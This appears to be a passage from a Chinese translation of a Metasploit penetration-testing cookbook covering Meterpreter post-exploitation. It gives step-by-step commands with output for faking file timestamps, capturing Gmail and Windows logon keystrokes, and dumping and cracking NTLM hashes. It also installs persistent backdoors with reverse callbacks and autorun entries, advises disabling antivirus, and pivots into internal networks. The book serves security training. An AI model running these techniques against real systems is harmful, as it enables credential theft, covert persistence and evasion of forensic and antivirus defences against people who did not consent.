准备就绪

现在我们将继续前进，更改各种 MACE 值。让我们从常见的timestomp -h命令开始，该命令用于列出各种可用选项。我们可以使用-v运算符列出 MACE 属性的值：

meterpreter > timestomp d:\secret.doc v
Modified : 2011-12-12 16:37:48 +0530
Accessed : 2011-12-12 16:37:48 +0530
Created : 2011-12-12 16:37:47 +0530
Entry Modified: 2011-12-12 16:47:56 +0530

如何做...

我们将从更改文件的创建时间开始。注意使用timestomp命令传递的各种参数：

meterpreter > timestomp d:\secret.doc -c "3/13/2013 13:13:13"
[*] Setting specific MACE attributes on d:secret.doc

它是如何工作的...

-c运算符用于更改文件的创建时间。同样，我们可以使用-m和-a运算符来更改文件的修改和最后访问属性：

meterpreter > timestomp d:\secret.doc -m "3/13/2013 13:13:23"
[*] Setting specific MACE attributes on d:secret.doc
meterpreter > timestomp d:\secret.doc -a "3/13/2013 13:13:33"
[*] Setting specific MACE attributes on d:secret.doc

属性更改后，我们可以再次使用-v运算符来检查和验证我们是否成功执行了命令。让我们继续检查文件属性：

meterpreter > timestomp d:\secret.doc v
Modified : 2013-03-13 13:13:13 +0530
Accessed : 2013-03-13 13:13:23 +0530
Created : 2013-03-13 13:13:33 +0530
Entry Modified: 2013-03-13 13:13:13 +0530

太棒了！我们已成功修改了文件的 MACE 属性。现在这个文件可以很容易地从最近修改或最近访问文件的列表中隐藏起来。

或者，我们也可以使用-z运算符一次性更改所有四个 MACE 值。我们不必为每个值单独传递命令。但是-z运算符会将相同的值分配给所有四个 MACE 属性，这在实际上是不可能的。创建和访问时间之间必须有一些时间差。因此，应避免使用-z运算符。

这是一个处理timestomp实用程序的小技巧。在下一个技巧中，我们将看一些有用的 Meterpreter 网络命令，当我们了解枢纽转移时，这些命令将对我们非常有用。

使用 meterpreter 网络命令

Meterpreter 还为我们提供了一些有用的网络命令。这些命令对于了解目标用户的网络结构很有用。我们可以分析系统是属于局域网还是独立系统。我们还可以了解 IP 范围、DNS 和其他信息。在进行枢纽转移时，这些网络信息可能很有用。枢纽转移是一个概念，通过它我们可以攻击与我们的目标位于同一网络中的其他计算机。我们将在下一章中了解枢纽转移，重点是 Meterpreter 的高级用法。

做好准备

在我们进入这个技巧之前，有三个网络术语我们将在这里遇到。因此，让我们通过查看以下术语来快速回顾一下我们的记忆：

子网是将一个大网络划分为更小可识别部分的概念。子网划分是为了增加地址的实用性和安全性。
子网掩码是一个 32 位的掩码，用于将 IP 地址划分为子网并指定网络的可用主机。
网关指定了转发或下一跳 IP 地址，通过它可以到达由网络目的地和子网掩码定义的地址集。

当我们处理route命令时，我们将使用这三个术语。

如何做到...

Meterpreter 提供了三个网络命令。它们是ipconfig、route和portfwd。让我们快速看一下它们各自的功能。

Ipconfig命令用于显示目标机器的所有 TCP/IP 网络配置。它列出了目标 IP 地址、硬件 MAC 和子网掩码等信息：

meterpreter > ipconfig
Reliance
Hardware MAC: 00:00:00:00:00:00
IP Address : 115.242.228.85
Netmask : 255.255.255.255
Software Loopback Interface 1
Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1
Netmask : 255.0.0.0

正如你所看到的，ipconfig的输出列出了各种活动的 TCP/IP 配置。

下一个网络命令是route命令。它类似于 MS DOS 的route命令。该命令用于显示或修改目标机器上的本地 IP 路由表。执行route命令会列出当前的表格：

meterpreter > route
Network routes
==============
Subnet Netmask Gateway
------ ------- -------
0.0.0.0 0.0.0.0 115.242.228.85
115.242.228.85 255.255.255.255 115.242.228.85
127.0.0.0 255.0.0.0 127.0.0.1
127.0.0.1 255.255.255.255 127.0.0.1
127.255.255.255 255.255.255.255 127.0.0.1
192.168.56.0 255.255.255.0 192.168.56.1
192.168.56.1 255.255.255.255 192.168.56.1
192.168.56.255 255.255.255.255 192.168.56.1
224.0.0.0 240.0.0.0 127.0.0.1
224.0.0.0 240.0.0.0 192.168.56.1
224.0.0.0 240.0.0.0 115.242.228.85
255.255.255.255 255.255.255.255 127.0.0.1
255.255.255.255 255.255.255.255 192.168.56.1
255.255.255.255 255.255.255.255 115.242.228.85

让我们执行route -h命令，看看我们如何修改表格。

meterpreter > route -h
Usage: route [-h] command [args]
Supported commands:
add [subnet] [netmask] [gateway]
delete [subnet] [netmask] [gateway]

如果你看一下ipconfig命令的输出，你会发现 IP 地址115.242.228.85是目标用来连接互联网的。因此，我们可以添加一个路由值，通过115.242.228.85作为网关传递连接。这可以为我们提供目标机器上的防火墙绕过：

meterpreter > route add 192.168.56.2 255.255.255.255 192.168.56.1
Creating route 192.168.56.2/255.255.255.255 -> 192.168.56.1

同样，我们可以使用delete命令从表中删除路由。

让我们转到最后一个网络命令——portfwd。这个命令用于将传入的 TCP 和/或 UDP 连接转发到远程主机。考虑以下示例以了解端口转发。

考虑主机“A”、主机“B”（中间）和主机“C”。主机 A 应该连接到主机 C 以执行某些操作，但如果由于任何原因不可能，主机 B 可以直接连接到 C。如果我们在中间使用主机 B，从 A 获取连接流并将其传递到 B，同时处理连接，我们称主机 B 正在进行端口转发。

这就是数据包在传输中的样子：主机 B 正在运行一个软件，该软件在其端口之一上打开 TCP 监听器，比如端口 20。主机 C 也在运行一个监听器，用于在从端口 20 到达时连接到主机 B。因此，如果 A 在 B 的 20 号端口上发送任何数据包，它将自动转发到主机 C。因此，主机 B 正在将其数据包端口转发到主机 C。

它是如何工作的...

要与远程主机开始端口转发，我们可以首先添加一个转发规则。考虑以下命令行：

Meterpreter> portfwd -a -L 127.0.0.1 -l 444 -h 69.54.34.38 -p 3389

注意不同的命令参数。使用-a参数，我们可以添加一个新的端口转发规则。-L参数定义要将转发套接字绑定到的 IP 地址。由于我们都在主机 A 上运行这些命令，并且希望从同一主机继续工作，我们将 IP 地址设置为127.0.0.1。

-l是主机 A 上将打开的端口号，用于接受传入连接。-h定义了主机 C 的 IP 地址，或者内部网络中的任何其他主机。-p是您要连接到的主机 C 上的端口。

这是使用端口转发的简单演示。这种技术被积极用于绕过防火墙和入侵检测系统。

获取桌面和按键嗅探

在这个示例中，我们将处理与桌面和按键嗅探相关的一些stdapi用户界面命令。捕获按键取决于当前活动的桌面，因此了解我们如何通过切换到不同桌面活动会话中运行的进程来嗅探不同的按键是至关重要的。让我们继续深入了解这个示例。

如何做...

让我们开始执行一些用户界面命令，这些命令是我们在这个示例中将主要处理的。它们如下：

enumdesktops:此命令将列出所有可访问的桌面和窗口站点。

meterpreter > enumdesktops
Enumerating all accessible desktops
Desktops
========
Session Station Name
------- ------- ----
0 WinSta0 Default
0 WinSta0 Disconnect
0 WinSta0 Winlogon
0 SAWinSta SADesktop

在这里，您可以看到所有可用的桌面站点都与会话 0 相关联。我们将很快看到我们所说的会话 0 的确切含义。

getdesktop:此命令返回我们的 meterpreter 会话正在工作的当前桌面。

meterpreter > getdesktop
Session 0\Service-0x0-3e7$\Default

您可以将getdesktop命令的输出与enumdesktops相关联，以了解我们正在工作的当前桌面站点的情况。

setdesktop:此命令用于将当前的 meterpreter 桌面更改为另一个可用的桌面站点。
keyscan_start:此命令用于在当前活动的桌面站点中启动按键嗅探器。
keyscan_dump:此命令会转储活动 meterpreter 桌面会话的记录按键。

现在让我们分析这些命令在实时场景中的工作方式，以及我们如何通过不同的桌面站点嗅探按键。

它是如何工作的...

在我们继续进行示例之前，有一个关于 Windows 桌面的重要概念需要我们了解。

Windows 桌面被划分为不同的会话，以定义我们与 Windows 机器交互的方式。会话 0 代表控制台。其他会话——会话 1、会话 2 等代表远程桌面会话。

因此，为了捕获我们侵入的系统的按键，我们必须在桌面会话 0 中工作：

它是如何工作的...

每个 Windows 桌面会话包括不同的站。在前面的图中，您可以看到与 Session 0 相关的不同站。在这些站中，WinSta0 是唯一的交互式站。这意味着用户只能与 WinSta0 站互动。所有其他站都是非交互式的。现在 WinSta0 包括三个不同的桌面，即 Default、Disconnect 和 Winlogon。默认桌面与我们在桌面上执行的所有应用程序和任务相关联。Disconnect桌面与屏幕保护程序锁定桌面有关。Winlogon 桌面与 Windows 登录屏幕有关。

这里需要注意的一点是每个桌面都有自己的键盘缓冲区。因此，如果您必须从Default桌面中嗅探按键记录，您必须确保您当前的 meterpreter 活动浏览器设置为Session 0/WinSta0/Default。如果您必须嗅探登录密码，那么您将不得不将活动桌面更改为Session 0/WinSta0/Winlogon。让我们举个例子来让它更清楚。

让我们使用getdesktop命令检查我们当前的桌面：

meterpreter > getdesktop
Session 0\Service-0x0-3e7$\Default

正如您所看到的，我们不在WinSta0站，这是唯一的交互式桌面站。因此，如果我们在这里运行按键捕获，它不会返回任何结果。让我们将我们的桌面更改为WinSta0\Default：

meterpreter > setdesktop
Changed to desktop WinSta0\Default
meterpreter > getdesktop
Session 0\WinSta0\Default

前面的命令行显示我们使用setdesktop命令切换到了交互式 Windows 桌面站。因此，现在我们已经准备好运行按键记录嗅探器来捕获用户在目标机器上按下的按键：

meterpreter > keyscan_start
Starting the keystroke sniffer...
meterpreter > keyscan_dump
Dumping captured keystrokes...
gmail.com <Return> daklord <Tab> 123123

查看转储的按键记录，您可以清楚地识别出目标用户访问了gmail.com并输入了他的凭据进行登录。

如果您想嗅探 Windows 登录密码怎么办？显然，您可以使用setdesktop命令将您的活动桌面切换到WinSta0\Winlogon，但在这里我们也将讨论另一种方法。我们可以迁移到在 Windows 登录期间运行的进程。让我们执行ps命令来检查正在运行的进程。

您会发现winlogon.exe作为一个带有进程 ID 的进程在运行。让我们假设winlogon.exe的进程 ID（PID）为1180。现在让我们迁移到这个 PID 并再次检查我们的活动桌面：

meterpreter > migrate 1180
[*] Migrating to 1180...
[*] Migration completed successfully.
meterpreter > getdesktop
Session 0\WinSta0\Winlogon

您可以看到我们的活动桌面已更改为WinSta0\Winlogon。现在我们可以运行keyscan_start命令来开始嗅探 Windows 登录屏幕上的按键记录。

同样，我们可以通过迁移到运行在默认桌面上的任何进程来返回到默认桌面。考虑使用 PID 884的explorer.exe：

meterpreter > migrate 884
[*] Migrating to 884...
[*] Migration completed successfully.
meterpreter > getdesktop
Session 0\WinSta0\Default

您可能已经注意到了迁移到不同进程和桌面环境以嗅探按键记录的重要性。通常，人们在直接运行keyscan而不查看当前活动桌面时得不到任何结果。这是因为他们渗透的进程可能属于不同的会话或站。因此，在使用按键记录嗅探时，请牢记桌面的概念。

使用刮削器 meterpreter 脚本

到目前为止，我们已经了解了几个 meterpreter 命令。在这里，我们将看一下一个重要的 meterpreter 脚本，它可以帮助我们更深入地探索目标。下一章将广泛涵盖 meterpreter 脚本，因此在这里我们将专注于使用脚本。在渗透测试期间，您可能需要大量时间来挖掘目标的信息。因此，对于渗透测试人员来说，拥有有用信息的本地备份可以真正方便，即使目标已经关闭，他们仍然有信息可以使用。它还使与其他测试人员共享信息变得容易。刮削器为我们完成了这项任务。

准备工作

使用刮削器 meterpreter 脚本可以挖掘有关受损目标的大量信息，例如注册表信息、密码哈希和网络信息，并将其存储在测试人员的本地机器上。

为了在目标上使用 meterpreter 执行 Ruby 脚本，我们可以使用run命令。执行run scraper -h命令将列出我们可以与脚本一起传递的各种可用参数。让我们继续分析如何可以在本地下载信息。

如何做到这一点...

脚本在执行后会自动完成所有操作。它在/root/.msf4/logs/scripts/scraper下创建一个目录，其中保存了所有文件。您可能会在脚本执行过程中注意到错误，这可能是因为某个命令在目标上执行失败（命令行输出已经被缩短以适应）：

meterpreter > run scraper
[*] New session on 192.168.56.1:4232...
[*] Gathering basic system information...
[*] Error dumping hashes: Rex::Post::Meterpreter::RequestError priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.
[*] Obtaining the entire registry...
[*] Exporting HKCU
[*] Downloading HKCU (C:\Users\DARKLORD\AppData\Local\Temp\UKWKdpIb.reg)

脚本会自动下载并保存信息到目标文件夹。让我们看一下源代码，分析是否可以根据我们的需求进行一些更改。

它是如何工作的...

scraper.rb的源代码位于/pentest/exploits/framework3/scripts/meterpreter下。

Ruby 编程经验可以帮助您编辑脚本以添加您自己的功能。我们可以通过编辑以下行来更改下载位置：

logs = ::File.join(Msf::Config.log_directory, 'scripts','scraper', host + "_" + Time.now.strftime("%Y%m%d.%M%S")+sprintf("%.5d",rand(100000)) )

假设您还想获取可用进程列表的结果，那么您可以简单地在程序的主体中添加以下代码行：

::File.open(File.join(logs, "process.txt"), "w") do |fd|
fd.puts(m_exec(client, "tasklist"))
end

通过使用一点点 Ruby 语言和代码重用，您可以轻松修改代码以适应您的需求。

还有更多...

让我们了解另一个可以用于从目标机器收集信息的 meterpreter 脚本。

使用 winenum.rb

winenum.rb是另一个 meterpreter 脚本，可以帮助您收集有关目标的信息并在本地下载。它的工作方式类似于scraper.rb。您也可以尝试使用这个脚本，看看它可以提供什么额外的信息。该脚本可以在以下位置找到：

/pentest/exploits/framework3/scripts/meterpreter/winenum.rb

第六章：高级 Meterpreter 脚本

在这一章中，我们将涵盖：

传递哈希
设置持久连接与后门
使用 meterpreter 进行枢纽
使用 meterpreter 进行端口转发
Meterpreter API 和 mixin
Railgun-将 Ruby 转换为武器
将 DLL 和函数定义添加到 Railgun
构建“Windows 防火墙停用器”meterpreter 脚本
分析现有的 meterpreter 脚本

介绍

在上一章中，我们学习了一些强大的 meterpreter 命令，这些命令在后期利用中非常有帮助。Meterpreter 通过提供一个非常交互式和有用的命令解释器，为后期利用过程增加了很多灵活性。它不仅简化了任务，而且使其更加强大和全面。

在本章中，我们将通过学习一些高级概念，将 meterpreter 推进一步。到目前为止，我们一直在使用 Metasploit 提供给我们的各种命令和脚本，但在渗透测试过程中，可能会出现需要向 meterpreter 添加自己的脚本的情况。平台的模块化架构使得开发和集成自己的脚本和模块非常容易。

我们将从学习一些高级的 meterpreter 功能开始，比如传递哈希、枢纽、端口转发等等。然后，我们将转向开发我们自己的 meterpreter 脚本。为了完全理解本章，您应该了解基本的 Ruby 概念。即使对 Ruby 语言有基本的了解也可以帮助您构建智能的 meterpreter 脚本。为了方便读者，我将从一些基本的开发概念开始。然后，我们将分析一些现有的 Ruby 代码，看看我们如何可以重用它们或根据我们的需求进行编辑。然后，我们将学习开发我们自己简单的“Windows 防火墙停用器”meterpreter 脚本。

本章将详细增强您对平台的理解。让我们继续前进，开始实践这些技巧。

哈希传递

传递哈希或哈希转储是提取 Windows 登录哈希文件的过程。Hashdump meterpreter 脚本从目标机器中提取并转储密码哈希。哈希可以用于破解登录密码，并获得对 LAN 上其他系统的授权访问，以进行未来的渗透测试。

准备就绪

在开始烹饪之前，让我们先了解一下 Windows 密码及其存储格式。

当您在 Windows 登录屏幕上输入密码时，它会使用一个加密方案对您的密码进行加密，将您的密码转换成类似于这样的东西：

7524248b4d2c9a9eadd3b435c51404ee

这是一个密码哈希。这实际上是在您输入密码时进行检查的内容。它会加密您输入的内容，并将其与存储在注册表和/或 SAM 文件中的内容进行比对。

SAM 文件保存了本地机器上每个帐户或域（如果是域控制器）的用户名和密码哈希。它可以在硬盘驱动器的%systemroot%system32config文件夹中找到。

然而，只有在机器运行时，这个文件夹才对包括管理员在内的所有帐户进行了锁定。在操作过程中，唯一可以访问 SAM 文件的帐户是“系统”帐户。因此，您必须记住，在尝试转储哈希时，您需要提升权限。

哈希对您来说可能完全陌生，因为它们是加密文本。Windows 使用NTLM（NT LAN Manager）安全协议进行身份验证。它是 LM 协议的后继者，LM 协议用于旧版本的 Windows。

为了解码转储的哈希，我们将需要一个 NTLM/LM 解密器。有不同的工具可用。其中一些使用暴力破解技术（John the riper，pwdump），而另一些使用彩虹表（彩虹破解）。

如何做到这一点...

我们将从一个活动的 meterpreter 会话开始。我假设您已经渗透了目标并获得了一个 meterpreter 会话。您可以参考第四章中的配方，客户端利用和防病毒绕过，以获取有关入侵 Windows 机器的更多详细信息。脚本的使用简单直接。让我们首先检查目标机器上的权限。我们必须拥有系统权限才能提取哈希。我们将使用getuid命令来了解我们当前的权限级别。为了提升我们的权限，我们将使用getsystem命令。

meterpreter > getuid
Server username: DARKLORD-PC\DARKLORD
meterpreter > getsystem
...got system (via technique 4).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

工作原理...

现在我们在目标上拥有系统权限，所以我们可以继续尝试 hashdump 脚本。

meterpreter > run hashdump
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 78e1241e98c23002bc85fd94c146309d...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DARKLORD:1000:aad3b435b51404eeaad3b435b51404ee:3dbde697d71690a769204beb12283678:::

您可以看到脚本已成功从 SAM 文件中提取了密码哈希。现在我们可以使用不同的工具来破解这个哈希。一些知名的工具有 John the riper、pwdump、rainbow crack 等。

还有更多...

让我们看看除了使用之前讨论的工具之外，解密哈希的另一种方法。

在线密码解密

有一个非常流行的网站用于解密 NTLM/LM 哈希www.md5decrypter.co.uk/。它通过将哈希与其庞大的哈希数据库进行匹配来找到密码。这是一种有效且快速破解简单和弱密码的技术。以下截图显示了我们之前转储的哈希的解码结果：

在线密码解密

如您所见，我们的输入哈希已找到匹配项，相应的可读密码为 123。

需要注意的一点是，破解密码完全取决于其强度。相对于复杂密码，较弱的密码会更容易破解。复杂密码将生成在线数据库中不存在的哈希。因此，考虑使用基于彩虹表的破丨解丨器。有关此主题的更多信息可以在以下 URL 找到：

bernardodamele.blogspot.in/#!http://bernardodamele.blogspot.com/2011/12/dump-windows-password-hashes.html。

建立与后门的持久连接

我们从一个预入侵技术开始这本书，重点是信息收集。然后，我们继续前进到利用阶段，在那里我们学习了不同的方式来妥协目标。然后，我们学习了一些有用的后期利用技术，可以在妥协目标之后实施。现在，在这个配方中，我们将学习永久利用技术，在这里我们将尝试与我们的目标建立持久连接，以便我们可以随意连接到它。作为攻击者，或目标机器，不能总是可用，对目标进行后门处理可以有效地建立持久连接。

准备工作

Meterpreter 为我们提供了两个脚本，可以执行对目标进行后门处理的任务。它们是 Metsvc 和 Persistence。这两个脚本的工作方式类似。让我们逐一处理这两个脚本。

注意

这两个 meterpreter 脚本都在目标系统上创建文件，因此可能会触发防病毒软件的警报。因此建议在运行这些脚本之前关闭防病毒程序。

如何做...

Metsvc 脚本通过在目标机器上创建临时文件，如 DLL、后门服务器和服务来运行。该脚本还可以启动匹配的 multi/handler 以自动连接到后门。-A参数用于此目的。让我们在我们的 Windows 7 目标机器上运行脚本并分析结果。

meterpreter > run metsvc -h
OPTIONS:
-A Automatically start a matching multi/handler to connect to the service
-h This help menu
-r Uninstall an existing Meterpreter service (files must be deleted manually)
meterpreter > run metsvc -A
[*] Creating a meterpreter service on port 31337
[*] Creating a temporary installation directory C:\Users\DARKLORD\AppData\Local\Temp\ygLFhIFX...
[*] >> Uploading metsrv.dll...
[*] >> Uploading metsvc-server.exe...
[*] >> Uploading metsvc.exe...
[*] Starting the service...
* Installing service metsvc
* Starting service
Service metsvc successfully installed.

一旦后门文件成功上传，它将自动连接到端口 31337 上的 multi/handler。使用这个后门，我们可以随意连接到目标机器。

另一个有用的后门脚本是持久性脚本。它的工作方式类似于 Metscv，但它具有一些额外的功能，比如定期连接回目标，系统启动时连接回来，自动运行等等。让我们看看我们可以使用的不同选项。

meterpreter > run persistence -h
Meterpreter Script for creating a persistent backdoor on a target host.
OPTIONS:
-A Automatically start a matching multi/handler to..
-L <opt> Location in target host where to write payload to..
-P <opt> Payload to use, default is
-S Automatically start the agent on boot as a service
-T <opt> Alternate executable template to use
-U Automatically start the agent when the User logs on
-X Automatically start the agent when the system boots
-h This help menu
-i <opt> The interval in seconds between each connection
-p <opt> The port on the remote host where Metasploit..
-r <opt> The IP of the system running Metasploit listening..

如您所见，它与 Metsvc 相比有一些额外的选项。让我们执行脚本，并根据我们的需求传递不同的参数。

meterpreter > run persistence -A -S -U -i 60 -p 4321 -r 192.168.56.101
[*] Running Persistance Script
[*] Resource file for cleanup created at /root/.msf4/logs/persistence/DARKLORD-PC_20111227.0307/DARKLORD-PC_20111227.0307.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=4321
[*] Persistent agent script is 610795 bytes long
[+] Persistent Script written to C:\Users\DARKLORD\AppData\Local\Temp\LHGtjzB.vbs
[*] Starting connection handler at port 4321 for windows/meterpreter/reverse_tcp
[+] Multi/Handler started!
[*] Executing script C:\Users\DARKLORD\AppData\Local\Temp\LHGtjzB.vbs
[+] Agent executed with PID 5712
[*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\DBDalcOoYlqJSi
[+] Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\DBDalcOoYlqJSi
[*] Installing as service..
[*] Creating service cpvPbOfXj

它是如何工作的...

注意脚本传递的不同参数。-A 参数会在攻击机器上自动启动监听器。-S 操作符设置后门在每次 Windows 启动时加载。-U 操作符在用户登录系统时执行后门。-i 操作符设置后门尝试连接回代理处理程序的间隔。-p 是端口号，-r 是目标机器的 IP 地址。脚本执行的输出还包含一些有用的信息。脚本已经创建了一个资源文件用于清理，以便在使用后删除后门。脚本已经在目标机器的temp文件夹中创建了一个 vbs 文件。它还创建了注册表条目，以便在每次 Windows 启动时自动加载后门。

我们为后门设置了 60 秒的间隔，以便连接回代理处理程序。在脚本成功执行后，您将看到在 60 秒的间隔内，meterpreter 会自动在目标机器上打开一个会话。

这个快速演示解释了我们如何与目标机器建立持久连接。您可以尝试使用这两个脚本进行不同的场景，并分析其工作原理。在下一个示例中，我们将专注于另一个有趣的概念，称为转向。

使用 meterpreter 进行转向

到目前为止，我们已经涵盖了大部分主要的 meterpreter 命令和脚本。您一定已经注意到了在后期利用阶段，meterpreter 可以有多么强大。在这个示例中，我们将讨论一个最酷的，也是我最喜欢的概念之一，称为转向。让我们从理解转向的含义开始，为什么需要它，最后 Metasploit 如何在转向中有用。

准备工作

在开始使用这个示例之前，让我们首先详细了解转向。转向是指渗透测试人员使用 compromise 的系统来攻击同一网络上的其他系统的方法。这是一个多层次的攻击，在这个攻击中，我们可以访问甚至那些仅供本地内部使用的网络区域，比如内部网。考虑下面图中显示的情景。

准备工作

攻击者可以 compromise 与互联网连接的网络的外部节点。然后这些节点与防火墙连接。防火墙后面是主服务器。现在，由于攻击者无法访问服务器，他可以使用节点作为访问的媒介。如果攻击者成功地 compromise 了节点，那么它可以进一步渗透网络，以达到服务器。这是涉及转向的典型情况。图中的红线显示了通过 compromise 的节点在攻击者和服务器之间建立的转向路径。在这个示例中，我们将使用我们在上一章中学到的一些 meterpreter 网络命令。

如何做...

让我们看看如何使用 meterpreter 实现先前讨论的情景。

在这个示例中，我们的目标节点是运行在 Windows 7 上并连接到网络的机器。服务器运行在 Windows 2003 上。通过使用客户端浏览器漏洞，节点已经被 compromise，并且我们已经建立了一个活动的 meterpreter 连接。让我们从在目标节点上运行 ipconfig 开始，看看它上面有哪些可用的接口。

meterpreter > ipconfig
Interface 1
Hardware MAC: 00:00:00:00:00:00
IP Address: 10.0.2.15
Netmask : 255.255.255.0
VirtualBox Host-Only Ethernet Adapter
Hardware MAC: 08:00:27:00:8c:6c
IP Address : 192.168.56.1
Netmask : 255.255.255.0

正如你所看到的，目标节点有两个接口。一个是连接到互联网的 192.168.56.1，另一个是内部网络的 IP 接口 10.0.2.15。我们下一个目标将是找出这个本地网络中还有哪些其他系统。为此，我们将使用一个名为arp_scanner的 meterpreter 脚本。这个脚本将在内部网络上执行 ARP 扫描，以找出其他可用的系统。

meterpreter > run arp_scanner -r 10.0.2.1/24
[*] ARP Scanning 10.0.2.1/24
[*] IP: 10.0.2.7 MAC 8:26:18:41:fb:33
[*] IP: 10.0.2.9 MAC 41:41:41:41:41:41

所以脚本成功地发现了网络上两个可用的 IP 地址。让我们选择第一个 IP 地址并对其进行枢纽转发。

工作原理...

为了访问 IP 为 10.0.2.7 的系统（即服务器），我们将不得不通过目标节点 10.0.2.15 路由所有数据包。

为此，我们将使用一个名为route的命令。我们在之前的章节中也学习过这个命令。要使用这个命令，我们将把当前的 meterpreter 会话放到后台。

meterpreter > background
msf exploit(handler) > route add 10.0.2.15 255.255.255.0 1
[*] Route added
msf exploit(handler) > route print
Active Routing Table
====================
Subnet Netmask Gateway
------ ------- -------
10.0.2.15 255.255.255.0 Session 1

查看路由命令的参数。add参数将把详细信息添加到路由表中。然后我们提供了目标节点的 IP 地址和默认网关。最后，我们提供了当前活动的 meterpreter 会话 ID（即 1）。route print命令显示了表，你可以清楚地看到所有通过这个网络发送的流量现在都将通过 meterpreter 会话 1。

现在你可以快速对 IP 地址 10.0.2.7 进行端口扫描，这个地址以前对我们来说是不可达的，但现在我们已经通过目标节点路由了我们的数据包，所以我们可以轻松地找出开放的端口和服务。一旦你发现它正在运行 Windows 2003 服务器，你就可以继续使用exploit/windows/smb/ms08_067_netapi或任何其他基于操作系统的漏洞来攻击服务器或访问其服务。

使用 meterpreter 进行端口转发

讨论枢纽转发时，没有谈论端口转发是不完整的。在这个教程中，我们将继续从之前的枢纽转发教程中，看看如何将数据和请求从攻击机器通过目标节点转发到内部网络服务器。这里需要注意的一点是，我们可以使用端口转发来访问内部服务器的各种服务，但如果我们必须利用服务器，那么我们将不得不使用在之前的教程中讨论的完整概念。

准备工作

我们将从之前的教程中讨论的相同场景开始。我们已经攻破了目标节点，这是一个 Windows 7 机器，并且我们已经添加了路由信息，以便通过 meterpreter 会话转发发送到网络上的所有数据包。让我们来看一下路由表。

msf exploit(handler) > route print
Active Routing Table
====================
Subnet Netmask Gateway
------ ------- -------
10.0.2.15 255.255.255.0 Session 1

所以我们的表已经准备好了。现在我们将设置端口转发，以便我们的请求通过中继到达内部服务器。

如何做...

假设内部服务器在端口 80 上运行 Web 服务，我们想通过端口转发访问它。现在，为了做到这一点，我们将使用portfwd命令。让我们检查一下这个命令的可用选项，然后传递相关的值。

meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]
OPTIONS:
-L <opt> The local host to listen on (optional).
-h Help banner.
-l <opt> The local port to listen on.
-p <opt> The remote port to connect to.
-r <opt> The remote host to connect to.
meterpreter > portfwd add -l 4321 -p 80 -r 10.0.2.7
[*] Local TCP relay created: 0.0.0.0:4321 <-> 10.0.2.7:80

成功执行命令表明，攻击者和内部服务器之间已经建立了本地 TCP 中继。攻击者机器上的监听端口是 4321，要访问的内部服务器上的服务端口是 80。

由于我们已经设置了路由信息，整个中继过程是透明的。现在，如果我们尝试通过浏览器使用 URL http://10.0.2.7:80来访问内部服务器，那么我们将被引导到内部网络的 http 内部服务。

在需要运行 Metasploit 不提供的命令或应用程序的情况下，端口转发可能非常方便。在这种情况下，您可以使用端口转发来简化您的任务。

这是端口转发的一个小演示。在下一个教程中，我们将开始使用 Ruby 编程来开发我们自己的 meterpreter 脚本。

工作原理...

端口转发的工作原理很简单，即在不安全的位置或网络提供受限服务的概念。可以使用经过身份验证或可靠的系统/软件在不安全和安全网络之间建立通信媒介。在第一章中，我们已经讨论了端口转发的简单用法，其中我们讨论了在虚拟机上设置 Metasploit 并使用 PuTTY 将其连接到主机操作系统。

工作原理...

前面的图表演示了端口转发的过程，以一个简单的例子为例。外部来源想要访问运行在 6667 端口上的 IRC 服务器，但防火墙配置为阻止对 6667 端口的外部访问（图表中的红线）。因此，外部来源连接到运行在 22 端口上的 SSH 服务器（例如 PuTTY），该端口未被防火墙阻止。这将为外部来源提供一个防火墙绕过，现在它可以通过从 22 端口到 6667 端口的端口转发访问 IRC 服务器。因此，端口转发创建了一个访问隧道（图表中的蓝线）。

Meterpreter API 和混合内容

在过去的一个半章中，我们已经广泛学习了如何将 meterpreter 作为潜在的后渗透工具。您可能已经意识到了 meterpreter 在使我们的渗透任务更轻松、更快速方面的重要作用。现在，从这个示例开始，我们将继续讨论与 meterpreter 相关的一些高级概念。我们将深入了解 Metasploit 的核心，了解 meterpreter 脚本的功能以及如何构建我们自己的脚本。

从渗透测试人员的角度来看，了解如何实现我们自己的脚本技术以满足场景的需求非常重要。可能会出现需要执行任务的情况，meterpreter 可能无法解决您的任务。因此，您不能坐视不管。这就是我们开发自己的脚本和模块变得方便的地方。让我们从这个示例开始。在这个示例中，我们将讨论 meterpreter API 和一些重要的混合内容，然后在后续的示例中，我们将编写我们自己的 meterpreter 脚本。

准备工作

Meterpreter API 对程序员来说可能会有所帮助，他们可以在渗透测试期间实现自己的脚本。由于整个 Metasploit 框架都是用 Ruby 语言构建的，因此 Ruby 编程经验可以增强您在 Metasploit 中的渗透经验。在接下来的几个示例中，我们将处理 Ruby 脚本，因此需要一些 Ruby 编程经验。即使您对 Ruby 和其他脚本语言有基本的了解，那么您也会很容易理解这些概念。

提示

下载示例代码

您可以从您在www.packtpub.com账户中购买的所有 Packt 图书中下载示例代码文件。如果您在其他地方购买了这本书，您可以访问www.packtpub.com/support并注册，文件将直接通过电子邮件发送给您。

操作方法

让我们从在 meterpreter 中启动交互式 Ruby shell 开始。在这里，我假设我们已经成功利用了目标（Windows 7）并且有一个活动的 meterpreter 会话。

可以使用irb命令启动 Ruby shell。

meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client

现在我们进入了 Ruby shell，可以执行我们的 Ruby 脚本。让我们从两个数字的基本相加开始。

>> 2+2
=> 4

所以我们的 shell 运行正常，可以解释语句。现在让我们执行一个复杂的操作。让我们创建一个哈希表，并在其中存储一些值和键。然后，我们将有条件地删除这些值。脚本如下所示：

x = { "a" => 100, "b" => 20 }
x.delete_if { |key, value| value < 25 }
print x.inspect

这个脚本很容易理解。在第一行中，我们创建了键（a 和 b）并为它们分配了值。然后，在下一行中，我们添加了一个条件，删除任何值小于 25 的哈希元素。

让我们来看一些打印 API 调用，这些对我们在编写 meterpreter 脚本时会很有用。

